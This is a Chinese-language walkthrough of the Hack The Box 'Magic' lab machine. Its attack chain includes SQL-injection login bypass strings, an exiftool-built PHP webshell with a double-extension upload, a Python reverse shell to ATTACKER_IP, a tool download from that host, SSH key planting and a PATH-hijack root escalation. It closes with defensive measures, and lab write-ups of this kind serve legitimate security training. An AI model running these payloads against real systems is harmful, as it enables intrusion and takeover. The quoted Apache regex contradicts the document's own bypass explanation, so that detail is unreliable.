记一次对HTB_magic的渗透测试
字数 1208 2025-08-12 11:33:35
HTB_magic渗透测试详细教学文档
靶机概述
HTB_magic是一个基于Web应用的渗透测试靶机,主要涉及以下技术点:
- SQL注入绕过登录
- 双扩展名Webshell上传绕过过滤
- 数据库凭证泄露
- SUID二进制文件路径劫持提权
信息收集阶段
1. 端口扫描
使用nmap进行基础扫描:
nmap -sV -T4 10.10.10.185
发现开放服务:
- 22/tcp - SSH
- 80/tcp - HTTP (Apache)
2. Web应用枚举
访问Web界面,发现登录页面,可能存在SQL注入漏洞。
漏洞利用阶段
1. SQL注入绕过登录
使用万能密码进行登录:
用户名: admin' or '1'='1
密码: 任意值
或使用其他常见payload:
admin' --
admin' or 1=1--
2. Webshell上传
生成图片马
使用exiftool工具将PHP代码嵌入图片:
exiftool -Comment='<?php system($_REQUEST["cmd"]);?>' 1.png -o 1.php.png
上传技巧
直接上传.png会被拦截,使用双扩展名绕过:
- 原始文件名:1.png → 被拦截
- 修改后文件名:1.php.png → 上传成功
上传路径通常为:/images/uploads/
3. 命令执行与反弹Shell
访问上传的Webshell:
http://10.10.10.185/images/uploads/1.php.png?cmd=whoami
使用Python3反弹Shell(注意修改IP和端口):
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
在攻击机监听:
nc -lvnp 8833
权限提升阶段
1. 数据库凭证获取
查找数据库文件:
find / -name "*.db" 2>/dev/null
常见位置:
- /var/www/html/db/
- /opt/application/db/
使用找到的凭证登录MySQL:
mysql -u username -p
2. 用户切换
从数据库中找到用户凭证后:
su username
输入找到的密码
3. SSH公钥认证
生成SSH密钥对:
ssh-keygen
将公钥写入目标机:
echo "ssh-rsa YOUR_PUBLIC_KEY" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
从攻击机连接:
ssh -i id_rsa username@10.10.10.185
4. 系统枚举
下载并运行LinEnum.sh:
wget http://ATTACKER_IP/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
重点关注:
- SUID/SGID文件
- 可写目录
- 环境变量
5. SUID二进制文件提权
发现可疑SUID文件:
/bin/sysinfo
检查文件属性:
file /bin/sysinfo
分析发现该二进制文件调用了popen()但没有使用完整路径,易受路径劫持攻击。
提权步骤
- 创建恶意free程序:
echo '#!/bin/bash' > /tmp/free
echo 'bash -p' >> /tmp/free
chmod +x /tmp/free
- 修改PATH环境变量:
export PATH="/tmp:$PATH"
- 执行sysinfo程序:
/bin/sysinfo
- 获取root shell后:
cd /root
cat root.txt
技术原理分析
1. 双扩展名绕过
Apache配置可能包含:
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
允许.php.png等文件被解析为PHP。
2. 路径劫持原理
当程序调用系统命令(如popen("free"))而不使用完整路径时,系统会按PATH环境变量顺序查找可执行文件。通过控制PATH,可让程序执行我们准备的恶意版本。
防御措施
-
防止SQL注入:
- 使用参数化查询
- 实施输入验证
- 最小权限原则
-
文件上传防护:
- 检查文件内容而不仅是扩展名
- 存储在Web根目录外
- 禁用脚本执行权限
-
权限提升防护:
- SUID二进制文件审查
- 使用完整路径调用系统命令
- 限制环境变量修改
-
系统加固:
- 定期更新补丁
- 最小化服务暴露
- 实施适当的文件权限
总结
HTB_magic靶机展示了从Web应用到系统级的完整攻击链,强调了安全开发实践和系统配置的重要性。通过这个练习,可以深入理解常见漏洞的利用方式和防御策略。